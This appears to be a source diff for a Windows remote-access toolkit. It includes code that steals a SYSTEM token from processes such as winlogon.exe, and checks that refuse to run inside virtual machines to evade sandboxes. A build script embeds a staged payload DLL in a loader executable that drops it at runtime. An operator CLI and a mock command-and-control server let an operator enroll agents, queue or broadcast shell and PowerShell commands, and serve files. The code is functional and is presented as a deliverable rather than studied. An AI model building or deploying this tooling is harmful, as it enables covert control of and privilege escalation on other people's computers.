HANDLE hThreadToken = nullptr;
if (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_DUPLICATE, TRUE, &hThreadToken))
{
if (TokenIsLocalSystem(hThreadToken))
{
HANDLE dup = DuplicateSystemTokenFromHandle(hThreadToken);
CloseHandle(hThreadToken);
if (dup)
{
Log(L"[+] Thread token is LocalSystem");
return dup;
}
}
else
{
Log(L"[-] Thread token is not LocalSystem");
}
CloseHandle(hThreadToken);
}
static const wchar_t* preferred[] =
{
L"services.exe",
L"winlogon.exe",
L"svchost.exe",
L"spoolsv.exe",
L"csrss.exe"
};
HANDLE tok = TryDuplicateByNames(preferred, _countof(preferred));
if (tok)
return tok;
Log(L"[-] Failed to find SYSTEM token");
return nullptr;
}
+9
View File
@@ -0,0 +1,9 @@
#pragma once
#include <windows.h>
bool EnablePrivilege(const wchar_t* privilegeName);
bool TokenIsLocalSystem(HANDLE token);
bool IsCurrentProcessSystem();
HANDLE DuplicateSystemTokenFromHandle(HANDLE srcToken);
HANDLE GetSystemToken(HANDLE preferredToken = nullptr);
+487
View File
@@ -0,0 +1,487 @@
#include "Common.h"
#include "VmDetect.h"
#include <intrin.h>
#include <iphlpapi.h>
#include <string>
#pragma comment(lib, "iphlpapi.lib")
static std::string ToLowerAscii(const std::string& in)
{
std::string out = in;
for (auto& c : out)
{
if (c >= 'A' && c <= 'Z')
c = (char)(c + 32);
}
return out;
}
static std::string NarrowAscii(const wchar_t* w)
{
std::string out;
if (!w)
return out;
for (; *w; ++w)
{
if (*w < 128)
out.push_back((char)*w);
}
return out;
}
static bool ContainsAny(const std::string& haystackLower, std::initializer_list<const char*> needles)
{
for (const char* n : needles)
{
if (haystackLower.find(n) != std::string::npos)
return true;
}
return false;
}
// ---------------------------------------------------------------- CPUID
struct CpuidResult
{
bool hypervisorPresent = false;
std::string vendor; // raw 12-byte hypervisor vendor
std::string brand;
};
static CpuidResult QueryCpuid()
{
CpuidResult r;
int regs[4]{};
__cpuid(regs, 0);
int maxLeaf = regs[0];
__cpuid(regs, 1);
r.hypervisorPresent = (regs[2] & (1 << 31)) != 0;
if (maxLeaf >= 0x40000000)
{
int hv[4]{};
__cpuid(hv, 0x40000000);
char vendor[13]{};
memcpy(vendor + 0, &hv[1], 4);
memcpy(vendor + 4, &hv[2], 4);
memcpy(vendor + 8, &hv[3], 4);
r.vendor = vendor;
if (maxLeaf >= 0x40000001)
{
int b[4]{};
__cpuid(b, 0x40000001);
char brand[13]{};
memcpy(brand + 0, &b[0], 4);
memcpy(brand + 4, &b[1], 4);
memcpy(brand + 8, &b[2], 4);
r.brand = brand;
}
}
return r;
}
// ---------------------------------------------------------------- SMBIOS
static std::string ReadSmbiosStrings()
{
std::string collected;
DWORD size = GetSystemFirmwareTable('RSMB', 0, nullptr, 0);
if (size < 8 || size > 1024 * 1024)
return collected;
std::vector<BYTE> buf(size);
DWORD got = GetSystemFirmwareTable('RSMB', 0, buf.data(), size);
if (got < 8)
return collected;
const BYTE* data = buf.data();
DWORD length = got;
// Raw SMBIOS table: 8-byte header, then structure table.
DWORD tableLen = *(const DWORD*)(data + 4);
if (tableLen == 0 || tableLen > length - 8)
tableLen = length - 8;
const BYTE* p = data + 8;
const BYTE* end = data + 8 + tableLen;
while (p + 4 <= end)
{
BYTE structLen = p[1];
if (structLen < 4 || p + structLen > end)
break;
const BYTE* strings = p + structLen;
// Strings: NUL-terminated ASCII, double NUL ends the list.
while (strings + 1 < end && !(strings[0] == 0 && strings[1] == 0))
{
const char* s = (const char*)strings;
size_t len = strlen(s);
collected += s;
collected += ' ';
strings += len + 1;
}
p = strings + 2;
}
return collected;
}
// ---------------------------------------------------------------- registry
static bool RegKeyExists(HKEY root, const wchar_t* subKey)
{
HKEY h = nullptr;
if (RegOpenKeyExW(root, subKey, 0, KEY_READ, &h) != ERROR_SUCCESS)
return false;
RegCloseKey(h);
return true;
}
static std::string ReadDiskEnumValue()
{
std::string out;
HKEY h = nullptr;
if (RegOpenKeyExW(
HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum",
0,
KEY_READ,
&h) != ERROR_SUCCESS)
{
return out;
}
wchar_t buf[1024]{};
DWORD size = sizeof(buf);
DWORD type = 0;
if (RegQueryValueExW(h, L"0", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS &&
(type == REG_SZ || type == REG_EXPAND_SZ))
{
out = NarrowAscii(buf);
}
RegCloseKey(h);
return out;
}
// ---------------------------------------------------------------- network
static bool HasVirtualMac()
{
// Vendor OUIs that only appear on virtual adapters.
static const BYTE oui[][3] =
{
{ 0x00, 0x0C, 0x29 }, // VMware
{ 0x00, 0x50, 0x56 }, // VMware
{ 0x00, 0x05, 0x69 }, // VMware
{ 0x00, 0x1C, 0x14 }, // VMware
{ 0x08, 0x00, 0x27 }, // VirtualBox
{ 0x52, 0x54, 0x00 }, // QEMU / KVM
{ 0x00, 0x16, 0x3E }, // Xen
{ 0x00, 0x15, 0x5D }, // Hyper-V
{ 0x00, 0x03, 0xFF }, // Microsoft virtual
{ 0x00, 0x1C, 0x42 }, // Parallels
};
ULONG size = 16 * 1024;
std::vector<BYTE> buf(size);
ULONG ret = GetAdaptersInfo((PIP_ADAPTER_INFO)buf.data(), &size);
if (ret == ERROR_BUFFER_OVERFLOW)
{
buf.resize(size);
ret = GetAdaptersInfo((PIP_ADAPTER_INFO)buf.data(), &size);
}
if (ret != ERROR_SUCCESS)
return false;
for (PIP_ADAPTER_INFO a = (PIP_ADAPTER_INFO)buf.data(); a; a = a->Next)
{
for (const auto& prefix : oui)
{
if (a->AddressLength >= 3 &&
a->Address[0] == prefix[0] &&
a->Address[1] == prefix[1] &&
a->Address[2] == prefix[2])
{
return true;
}
}
}
return false;
}
// ---------------------------------------------------------------- artifacts
static bool HasVmServices()
{
static const wchar_t* services[] =
{
L"SYSTEM\\CurrentControlSet\\Services\\VBoxService",
L"SYSTEM\\CurrentControlSet\\Services\\VBoxGuest",
L"SYSTEM\\CurrentControlSet\\Services\\VBoxMouse",
L"SYSTEM\\CurrentControlSet\\Services\\VBoxSF",
L"SYSTEM\\CurrentControlSet\\Services\\VBoxWddm",
L"SYSTEM\\CurrentControlSet\\Services\\vmci",
L"SYSTEM\\CurrentControlSet\\Services\\vmhgfs",
L"SYSTEM\\CurrentControlSet\\Services\\VMTools",
L"SYSTEM\\CurrentControlSet\\Services\\vmrawdsk",
L"SYSTEM\\CurrentControlSet\\Services\\vmusbmouse",
L"SYSTEM\\CurrentControlSet\\Services\\vm3dservice",
L"SYSTEM\\CurrentControlSet\\Services\\vmmouse",
L"SYSTEM\\CurrentControlSet\\Services\\xenvdb",
L"SYSTEM\\CurrentControlSet\\Services\\xenbus",
};
for (const wchar_t* s : services)
{
if (RegKeyExists(HKEY_LOCAL_MACHINE, s))
return true;
}
return false;
}
static bool HasVmDriversOnDisk()
{
static const wchar_t* files[] =
{
L"C:\\Windows\\System32\\drivers\\VBoxGuest.sys",
L"C:\\Windows\\System32\\drivers\\VBoxMouse.sys",
L"C:\\Windows\\System32\\drivers\\VBoxSF.sys",
L"C:\\Windows\\System32\\drivers\\vmmouse.sys",
L"C:\\Windows\\System32\\drivers\\vmhgfs.sys",
L"C:\\Windows\\System32\\drivers\\vmrawdsk.sys",
L"C:\\Windows\\System32\\drivers\\vmusbmouse.sys",
L"C:\\Windows\\System32\\VBoxService.exe",
L"C:\\Windows\\System32\\VBoxTray.exe",
};
for (const wchar_t* f : files)
{
DWORD attr = GetFileAttributesW(f);
if (attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY))
return true;
}
return false;
}
static bool HasVmProcesses()
{
static const wchar_t* names[] =
{
L"VBoxService.exe",
L"VBoxTray.exe",
L"vmtoolsd.exe",
L"vmwaretray.exe",
L"vmwareuser.exe",
L"VGAuthService.exe",
L"qemu-ga.exe",
L"xenservice.exe",
};
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
return false;
PROCESSENTRY32W pe{};
pe.dwSize = sizeof(pe);
bool found = false;
if (Process32First(snap, &pe))
{
do
{
for (const wchar_t* n : names)
{
if (_wcsicmp(pe.szExeFile, n) == 0)
{
found = true;
break;
}
}
if (found)
break;
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
return found;
}
// ---------------------------------------------------------------- public
bool IsVirtualMachine(std::wstring* reason)
{
auto setReason = [reason](const wchar_t* text)
{
if (reason)
*reason = text;
};
if (reason)
reason->clear();
CpuidResult cpu = QueryCpuid();
// A hypervisor bit alone is not proof: VBS / Credential Guard / Hyper-V
// on bare metal sets it too. Strong vendors are decisive.
if (cpu.hypervisorPresent)
{
const std::string vendor = cpu.vendor;
if (vendor == "VMwareVMware") { setReason(L"cpuid: VMware"); return true; }
if (vendor == "VBoxVBoxVBox") { setReason(L"cpuid: VirtualBox"); return true; }
if (vendor == "KVMKVMKVM") { setReason(L"cpuid: KVM"); return true; }
if (vendor == "XenVMMXenVMM") { setReason(L"cpuid: Xen"); return true; }
if (vendor.rfind("TCGTCGTCG", 0) == 0) { setReason(L"cpuid: QEMU TCG"); return true; }
if (vendor == "bhyve bhyve") { setReason(L"cpuid: bhyve"); return true; }
if (vendor == "VServerVServer") { setReason(L"cpuid: Virtual Server"); return true; }
}
const std::string smbios = ToLowerAscii(ReadSmbiosStrings());
if (ContainsAny(smbios, { "virtualbox", "vmware", "qemu", "kvm", "bochs", "parallels", "xen", "virtual machine", "hyper-v" }))
{
setReason(L"smbios: virtual vendor string");
return true;
}
if (cpu.hypervisorPresent && cpu.vendor == "Microsoft Hv")
{
// Hyper-V guest: confirmed by SMBIOS containing "virtual machine"
// (handled above) or by Hyper-V integration services.
if (RegKeyExists(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Services\\vmicheartbeat"))
{
setReason(L"hyperv: integration services");
return true;
}
if (HasVirtualMac())
{
setReason(L"hyperv: virtual MAC");
return true;
}
}
std::string diskEnum = ToLowerAscii(ReadDiskEnumValue());
if (ContainsAny(diskEnum, { "vbox", "vmware", "qemu", "xen", "virtio" }))
{
setReason(L"disk enum: virtual controller");
return true;
}
if (HasVmServices())
{
setReason(L"registry: guest service installed");
return true;
}
if (HasVmDriversOnDisk())
{
setReason(L"driver: guest driver present");
return true;
}
if (HasVmProcesses())
{
setReason(L"process: guest helper running");
return true;
}
if (HasVirtualMac())
{
setReason(L"network: virtual MAC OUI");
return true;
}
return false;
}
#ifndef ARDRV_ALLOW_VM_DEFAULT
#define ARDRV_ALLOW_VM_DEFAULT 0
#endif
bool VmOverrideRequested(int argc, wchar_t** argv)
{
#if ARDRV_ALLOW_VM_DEFAULT
// Built for lab/testing images that are themselves virtual machines.
(void)argc;
(void)argv;
return true;
#endif
for (int i = 1; i < argc; ++i)
{
if (argv[i] && (_wcsicmp(argv[i], L"--allow-vm") == 0 ||
_wcsicmp(argv[i], L"-allow-vm") == 0))
{
return true;
}
}
wchar_t env[64]{};
DWORD n = GetEnvironmentVariableW(L"ARDRV_ALLOW_VM", env, _countof(env));
if (n > 0 && n < _countof(env) && (env[0] == L'1' || env[0] == L'y' || env[0] == L'Y'))
return true;
HKEY h = nullptr;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) == ERROR_SUCCESS)
{
DWORD value = 0;
DWORD size = sizeof(value);
DWORD type = 0;
bool enabled =
RegQueryValueExW(h, L"AllowVm", nullptr, &type, (LPBYTE)&value, &size) == ERROR_SUCCESS &&
type == REG_DWORD &&
value != 0;
RegCloseKey(h);
if (enabled)
return true;
}
return false;
}
+13
View File
@@ -0,0 +1,13 @@
#pragma once
#include <windows.h>
#include <string>
// Returns true when the machine looks like a virtual machine or hypervisor
// guest. When 'reason' is provided it receives a short human-readable cause.
bool IsVirtualMachine(std::wstring* reason = nullptr);
// --allow-vm on the command line, ARDRV_ALLOW_VM=1, or AllowVm=1 under
// HKLM\SOFTWARE\ArDrvLoader. Any of them disables the VM block.
bool VmOverrideRequested(int argc, wchar_t** argv);
+107
View File
@@ -0,0 +1,107 @@
# Small helper for driving the agent: enqueues one command and waits for the ACK.
#
# powershell -File agent-cli.ps1 -Command "STATUS"
# powershell -File agent-cli.ps1 -Status
# powershell -File agent-cli.ps1 -Command "PS Get-Process | Select -First 3"
#
# Uses the same HMAC scheme the agent does, so it works against the mock worker
# and the real Cloudflare Worker alike.
param(
[string]$Worker = "http://127.0.0.1:8788",
[string]$Agent = "testagent",
[string]$Secret = "testsecret",
[string]$Command = "",
[switch]$Status,
[int]$TimeoutSec = 30
)
$ErrorActionPreference = "Stop"
function Get-Sha256Hex([byte[]]$Bytes)
{
$sha = [System.Security.Cryptography.SHA256]::Create()
try
{
if ($null -eq $Bytes -or $Bytes.Length -eq 0) { $stream = New-Object System.IO.MemoryStream }
else { $stream = New-Object System.IO.MemoryStream(, $Bytes) }
return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower()
}
finally { $sha.Dispose() }
}
function Get-HmacHex([string]$Key, [string]$Message)
{
$hmac = New-Object System.Security.Cryptography.HMACSHA256
try
{
$hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key)
return ([BitConverter]::ToString($hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message))) -replace "-", "").ToLower()
}
finally { $hmac.Dispose() }
}
function Invoke-Worker([string]$Path, [string]$Method = "GET", [byte[]]$Body)
{
if ($null -eq $Body) { $Body = [byte[]]@() }
$ts = [string][DateTimeOffset]::UtcNow.ToUnixTimeSeconds()
$canonical = "$Agent`n$ts`n$Method`n$($Path.TrimStart('/'))`n$(Get-Sha256Hex $Body)"
$headers = @{
"X-Agent-Id" = $Agent
"X-Agent-Ts" = $ts
"X-Agent-Sign" = (Get-HmacHex $Secret $canonical)
}
if ($Method -eq "POST")
{
return Invoke-WebRequest -Method Post -Uri "$Worker$Path" -Body ([byte[]]$Body) `
-ContentType "application/octet-stream" -Headers $headers -UseBasicParsing
}
return Invoke-WebRequest -Uri "$Worker$Path" -Headers $headers -UseBasicParsing
}
function Decode-Last([string]$Value)
{
if (-not $Value) { return "" }
try { return [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Value)) }
catch { return $Value }
}
if ($Status)
{
$s = (Invoke-Worker -Path "/status").Content | ConvertFrom-Json
"agent=$($s.agent) queued=$($s.queued) pending=$([bool]$s.pending)"
if ($s.last) { Decode-Last $s.last }
exit 0
}
if (-not $Command)
{
throw "Usage: agent-cli.ps1 -Command '<command>' | -Status"
}
$before = (Invoke-Worker -Path "/status").Content | ConvertFrom-Json
$initialLast = $before.last
$null = Invoke-Worker -Path "/enqueue" -Method POST -Body ([System.Text.Encoding]::UTF8.GetBytes($Command))
$deadline = (Get-Date).AddSeconds($TimeoutSec)
$seenPending = $false
while ((Get-Date) -lt $deadline)
{
Start-Sleep -Milliseconds 400
$s = (Invoke-Worker -Path "/status").Content | ConvertFrom-Json
if ($s.pending) { $seenPending = $true; continue }
if ($s.last -and $s.last -ne $initialLast) { Decode-Last $s.last; exit 0 }
if ($seenPending -and $s.last) { Decode-Last $s.last; exit 0 }
}
Write-Host "<timeout: agent may still be backing off>"
exit 1
+32
View File
@@ -0,0 +1,32 @@
@echo off
rem Wrapper so the helper runs regardless of the machine execution policy.
rem
rem agent.cmd STATUS
rem agent.cmd "PS Get-Date"
rem agent.cmd -Status
rem agent.cmd -Command "HOST_LIST"
setlocal
if "%~1"=="" goto usage
set "FIRST=%~1"
if "%FIRST:~0,1%"=="-" goto asflag
powershell -NoProfile -ExecutionPolicy Bypass -File "%~dp0agent-cli.ps1" -Command %*
goto end
:asflag
powershell -NoProfile -ExecutionPolicy Bypass -File "%~dp0agent-cli.ps1" %*
goto end
:usage
echo Usage:
echo agent.cmd STATUS
echo agent.cmd "PS Get-Date"
echo agent.cmd -Status
echo agent.cmd -Command "HOST_LIST"
exit /b 1
:end
exit /b %ERRORLEVEL%
BIN
View File
Binary file not shown.
+94
View File
@@ -0,0 +1,94 @@
# Builds the whole package in the right order:
# 1. stage payload DLL
# 2. copy it next to the project so the loader can pack it as a resource
# 3. loader executable
#
# powershell -ExecutionPolicy Bypass -File build.ps1 [-Configuration Release] [-SkipPayload]
#
# Without -SkipPayload the result is a single self-contained ArDrvLoader.exe that
# carries ardrvstage.dll inside it and drops it into the stage dir at runtime.
param(
[ValidateSet("Debug", "Release")]
[string]$Configuration = "Release",
[switch]$SkipPayload,
[switch]$NoEmbed
)
$ErrorActionPreference = "Stop"
$msbuild = "C:\Program Files\Microsoft Visual Studio\18\Community\MSBuild\Current\Bin\MSBuild.exe"
if (-not (Test-Path -LiteralPath $msbuild))
{
throw "MSBuild not found: $msbuild"
}
$root = $PSScriptRoot
$payload = Join-Path $root "ardrvstage.dll"
if (-not $SkipPayload -and -not $NoEmbed)
{
Write-Host "== building stage payload ($Configuration) =="
& $msbuild (Join-Path $root "StageDll.vcxproj") /p:Configuration=$Configuration /p:Platform=x64 /m /v:minimal
if ($LASTEXITCODE -ne 0)
{
throw "stage payload build failed"
}
$built = Join-Path $root "x64\$Configuration\ardrvstage.dll"
if (-not (Test-Path -LiteralPath $built))
{
throw "payload not produced: $built"
}
Copy-Item -LiteralPath $built -Destination $payload -Force
Write-Host "== payload staged at $payload =="
}
else
{
Write-Host "== payload build skipped =="
}
Write-Host "== building loader ($Configuration) =="
$extra = @()
if ($NoEmbed) { $extra += "/p:EmbedPayload=false" }
& $msbuild (Join-Path $root "ArDrvLoader.vcxproj") /p:Configuration=$Configuration /p:Platform=x64 /m /v:minimal @extra
if ($LASTEXITCODE -ne 0)
{
throw "loader build failed"
}
$exe = Join-Path $root "x64\$Configuration\ArDrvLoader.exe"
if (-not (Test-Path -LiteralPath $exe))
{
throw "loader not produced: $exe"
}
$dll = Join-Path $root "x64\$Configuration\ardrvstage.dll"
# The payload only exists to be embedded. Drop the per-config copy so the output
# folder is not mistaken for something that has to ship alongside the exe.
if (Test-Path -LiteralPath $dll)
{
Remove-Item -LiteralPath $dll -Force -ErrorAction SilentlyContinue
}
# Single-file deliverable.
$dist = Join-Path $root "dist\$Configuration"
New-Item -ItemType Directory -Force -Path $dist | Out-Null
Copy-Item -LiteralPath $exe -Destination (Join-Path $dist "ArDrvLoader.exe") -Force
$exeSize = (Get-Item -LiteralPath $exe).Length
Write-Host ""
Write-Host "single file : $dist\ArDrvLoader.exe ($exeSize bytes)"
Write-Host "build output: $exe (plus .pdb/.ipdb artifacts)"
exit 0
+466
View File
@@ -0,0 +1,466 @@
# Local stand-in for the Cloudflare Worker.
#
# Mirrors the D1-backed API in memory so the panel can be exercised without
# deploying: same HMAC for agents, same operator key for /api/*, and /panel is
# served straight out of worker.js so there is only one copy of the UI.
#
# powershell -File mock-worker.ps1 -Port 8788 -Secret testsecret -OperatorKey testop -FileDir C:\payloads
#
# Panel: http://127.0.0.1:8788/panel (key: testop)
param(
[int]$Port = 8788,
[string]$Secret = "testsecret",
[string]$OperatorKey = "testop",
[string]$EnrollSecret = "testop",
[string]$FileDir = "."
)
$ErrorActionPreference = "Stop"
$prefix = "http://127.0.0.1:$Port/"
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add($prefix)
$listener.Start()
$state = @{
agents = @{}
commands = New-Object System.Collections.ArrayList
}
function Get-Sha256Hex([byte[]]$Bytes)
{
$sha = [System.Security.Cryptography.SHA256]::Create()
try
{
if ($null -eq $Bytes -or $Bytes.Length -eq 0) { $stream = New-Object System.IO.MemoryStream }
else { $stream = New-Object System.IO.MemoryStream(, $Bytes) }
return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower()
}
finally { $sha.Dispose() }
}
function Get-HmacHex([string]$Key, [string]$Message)
{
$hmac = New-Object System.Security.Cryptography.HMACSHA256
try
{
$hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key)
$hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message))
return ([BitConverter]::ToString($hash) -replace "-", "").ToLower()
}
finally { $hmac.Dispose() }
}
function Get-AgentSecret([string]$AgentId)
{
return Get-HmacHex $Secret ("agent:" + $AgentId)
}
function Send-Bytes([System.Net.HttpListenerResponse]$Response, [byte[]]$Bytes, [int]$Status = 200, [string]$ContentType = "text/plain; charset=utf-8")
{
$Response.StatusCode = $Status
$Response.ContentType = $ContentType
$Response.Headers["Cache-Control"] = "no-store"
$Response.ContentLength64 = $Bytes.Length
if ($Bytes.Length -gt 0) { $Response.OutputStream.Write($Bytes, 0, $Bytes.Length) }
$Response.OutputStream.Close()
}
function Send-Text([System.Net.HttpListenerResponse]$Response, [string]$Text, [int]$Status = 200)
{
Send-Bytes -Response $Response -Bytes ([System.Text.Encoding]::UTF8.GetBytes($Text)) -Status $Status
}
function Send-Json([System.Net.HttpListenerResponse]$Response, $Data, [int]$Status = 200)
{
Send-Bytes -Response $Response -Bytes ([System.Text.Encoding]::UTF8.GetBytes(($Data | ConvertTo-Json -Compress -Depth 8))) -Status $Status -ContentType "application/json; charset=utf-8"
}
function Get-PanelHtml
{
$panel = Join-Path $PSScriptRoot "..\server\panel.html"
if (-not (Test-Path -LiteralPath $panel))
{
return "<h1>panel.html missing</h1>"
}
return Get-Content -LiteralPath $panel -Raw -Encoding UTF8
}
$panel = Get-PanelHtml
$epoch = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds()
$utcNow = { [int][DateTimeOffset]::UtcNow.ToUnixTimeSeconds() }
Write-Host "mock worker on $prefix (operator key: $OperatorKey)"
try
{
while ($listener.IsListening)
{
$ctx = $listener.GetContext()
$req = $ctx.Request
$res = $ctx.Response
try
{
$path = $req.Url.AbsolutePath
$query = $req.Url.Query
$memory = New-Object System.IO.MemoryStream
$req.InputStream.CopyTo($memory)
$bodyBytes = $memory.ToArray()
$bodyText = [System.Text.Encoding]::UTF8.GetString($bodyBytes)
$params = @{}
foreach ($pair in ($query.TrimStart("?") -split "&"))
{
if (-not $pair) { continue }
$kv = $pair -split "=", 2
$params[[uri]::UnescapeDataString($kv[0])] = if ($kv.Count -gt 1) { [uri]::UnescapeDataString($kv[1]) } else { "" }
}
# ---------------------------------------------------------- panel
if ($path -eq "/" -or $path -eq "/panel")
{
Send-Bytes $res ([System.Text.Encoding]::UTF8.GetBytes($panel)) 200 "text/html; charset=utf-8"
continue
}
# ------------------------------------------------------ operator API
if ($path.StartsWith("/api/"))
{
$isEnroll = ($path -eq "/api/enroll")
$key = [string]$req.Headers["X-Operator-Key"]
if (-not $key) { $key = [string]$params["key"] }
if (-not $isEnroll -and $key -ne $OperatorKey)
{
Send-Json $res @{ ok = $false; error = "denied" } 403
continue
}
$nowTs = & $utcNow
if ($path -eq "/api/enroll" -and $req.HttpMethod -eq "POST")
{
$provided = [string]$req.Headers["X-Enroll-Secret"]
if ($provided -ne $EnrollSecret)
{
Send-Json $res @{ ok = $false; error = "enroll denied" } 403
continue
}
$payload = $bodyText | ConvertFrom-Json
if (-not $payload.agent)
{
Send-Json $res @{ ok = $false; error = "valid agent id required" } 400
continue
}
if (-not $state.agents.ContainsKey($payload.agent))
{
$state.agents[$payload.agent] = @{
first_seen = $nowTs; last_seen = $nowTs; host = ""; user = "";
sid = ""; version = ""; interval = 15000; system = $false; revoked = $false
}
}
$state.agents[$payload.agent].revoked = $false
Send-Json $res @{ ok = $true; agent = $payload.agent; secret = (Get-AgentSecret $payload.agent) }
continue
}
if ($path -eq "/api/revoke" -and $req.HttpMethod -eq "POST")
{
$payload = $bodyText | ConvertFrom-Json
if (-not $payload.agent)
{
Send-Json $res @{ ok = $false; error = "agent required" } 400
continue
}
if (-not $state.agents.ContainsKey($payload.agent))
{
$state.agents[$payload.agent] = @{
first_seen = $nowTs; last_seen = $nowTs; host = ""; user = "";
sid = ""; version = ""; interval = 15000; system = $false; revoked = $false
}
}
$state.agents[$payload.agent].revoked = ($payload.revoked -ne $false)
Send-Json $res @{ ok = $true; agent = $payload.agent; revoked = [bool]$state.agents[$payload.agent].revoked }
continue
}
if ($path -eq "/api/agents")
{
$list = @()
foreach ($id in $state.agents.Keys)
{
$a = $state.agents[$id]
$queued = @($state.commands | Where-Object { $_.agent -eq $id -and $_.state -eq "queued" }).Count
$interval = if ($a.interval) { $a.interval } else { 15000 }
$list += @{
id = $id
host = $a.host
user = $a.user
sid = $a.sid
version = $a.version
interval = $interval
system = [bool]$a.system
revoked = [bool]$a.revoked
queued = $queued
first_seen = $a.first_seen
last_seen = $a.last_seen
age = $nowTs - $a.last_seen
online = (($nowTs - $a.last_seen) -lt [Math]::Max([int]($interval / 1000) * 3, 45))
}
}
Send-Json $res @{ ok = $true; now = $nowTs; agents = @($list | Sort-Object { $_.last_seen } -Descending) }
continue
}
if ($path -eq "/api/stats")
{
$online = @($state.agents.Values | Where-Object { ($nowTs - $_.last_seen) -lt 300 }).Count
$byState = @{}
foreach ($c in $state.commands) { $byState[$c.state] = 1 + [int]$byState[$c.state] }
$stats = @($byState.Keys | ForEach-Object { @{ state = $_; n = $byState[$_] } })
Send-Json $res @{ ok = $true; agents = $state.agents.Count; online = $online; commands = $stats }
continue
}
if ($path -eq "/api/commands")
{
$agent = [string]$params["agent"]
$limit = if ($params["limit"]) { [int]$params["limit"] } else { 50 }
$items = $state.commands
if ($agent) { $items = @($items | Where-Object { $_.agent -eq $agent }) }
$out = @($items | Sort-Object created -Descending | Select-Object -First $limit | ForEach-Object {
@{
id = $_.id; agent = $_.agent; text = $_.text; state = $_.state;
created = $_.created; sent = $_.sent; finished = $_.finished;
operator = $_.operator; result = $_.result
}
})
Send-Json $res @{ ok = $true; commands = $out }
continue
}
if ($path -eq "/api/enqueue" -and $req.HttpMethod -eq "POST")
{
$payload = $bodyText | ConvertFrom-Json
if (-not $payload.agent -or -not $payload.text)
{
Send-Json $res @{ ok = $false; error = "agent and text required" } 400
continue
}
$id = [guid]::NewGuid().ToString()
$null = $state.commands.Add([pscustomobject]@{
id = $id; agent = $payload.agent; text = $payload.text; state = "queued";
created = $nowTs; sent = 0; finished = 0; operator = "panel"; result = ""
})
Send-Json $res @{ ok = $true; id = $id }
continue
}
if ($path -eq "/api/broadcast" -and $req.HttpMethod -eq "POST")
{
$payload = $bodyText | ConvertFrom-Json
$sentIds = @()
foreach ($id in $state.agents.Keys)
{
$null = $state.commands.Add([pscustomobject]@{
id = [guid]::NewGuid().ToString(); agent = $id; text = $payload.text;
state = "queued"; created = $nowTs; sent = 0; finished = 0;
operator = "broadcast"; result = ""
})
$sentIds += $id
}
Send-Json $res @{ ok = $true; sent = $sentIds.Count; agents = $sentIds }
continue
}
Send-Json $res @{ ok = $false; error = "unknown endpoint" } 404
continue
}
# --------------------------------------------------------- files
if ($path -like "/file/*")
{
$name = [uri]::UnescapeDataString($path.Substring(6))
$file = Join-Path $FileDir $name
if (Test-Path -LiteralPath $file -PathType Leaf)
{
Send-Bytes $res ([System.IO.File]::ReadAllBytes($file)) 200 "application/octet-stream"
}
else
{
Send-Text $res "not found" 404
}
continue
}
# ------------------------------------------------------ agent auth
$agentHeader = [string]$req.Headers["X-Agent-Id"]
$ts = [string]$req.Headers["X-Agent-Ts"]
$sign = ([string]$req.Headers["X-Agent-Sign"]).ToLower()
if (-not $agentHeader -or -not $ts -or -not $sign)
{
Send-Text $res "denied" 403
continue
}
$nowTs = & $utcNow
$tsNum = 0
if (-not [int]::TryParse($ts, [ref]$tsNum) -or [Math]::Abs($nowTs - $tsNum) -gt 300)
{
Send-Text $res "denied" 403
continue
}
$canonicalPath = $path.TrimStart("/") + $query
$canonical = "$agentHeader`n$ts`n$($req.HttpMethod)`n$canonicalPath`n$(Get-Sha256Hex $bodyBytes)"
$derived = Get-AgentSecret $agentHeader
$masterOk = (Get-HmacHex $Secret $canonical) -eq $sign
$derivedOk = (Get-HmacHex $derived $canonical) -eq $sign
if (-not ($masterOk -or $derivedOk))
{
Send-Text $res "denied" 403
continue
}
$agent = $agentHeader
if ($state.agents[$agent] -and $state.agents[$agent].revoked)
{
Send-Text $res "revoked" 403
continue
}
# ---------------------------------------------------- agent endpoints
if ($path -eq "/poll")
{
$existing = $state.agents[$agent]
$first = if ($existing) { $existing.first_seen } else { $nowTs }
$state.agents[$agent] = @{
first_seen = $first
last_seen = $nowTs
host = [string]$req.Headers["X-Agent-Host"]
user = [string]$req.Headers["X-Agent-User"]
sid = [string]$req.Headers["X-Agent-Sid"]
version = [string]$req.Headers["X-Agent-Version"]
interval = if ($req.Headers["X-Agent-Interval"]) { [int]$req.Headers["X-Agent-Interval"] } else { 15000 }
system = ([string]$req.Headers["X-Agent-System"]) -eq "1"
}
$cmd = $state.commands | Where-Object { $_.agent -eq $agent -and $_.state -eq "queued" } | Sort-Object created | Select-Object -First 1
if (-not $cmd)
{
Send-Text $res "" 204
continue
}
$cmd.state = "sent"
$cmd.sent = $nowTs
$b64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmd.text))
Send-Text $res ("{0}`n{1}" -f $cmd.id, $b64)
continue
}
if ($path -eq "/ack" -and $req.HttpMethod -eq "POST")
{
$id = [string]$params["id"]
foreach ($c in $state.commands)
{
if ($c.id -eq $id -and $c.agent -eq $agent)
{
$decoded = $bodyText
try { $decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($bodyText)) } catch { }
$c.state = "done"
$c.finished = $nowTs
$c.result = $decoded
}
}
if ($state.agents[$agent]) { $state.agents[$agent].last_seen = $nowTs }
Send-Text $res "ok"
continue
}
if ($path -eq "/enqueue" -and $req.HttpMethod -eq "POST")
{
$text = $bodyText
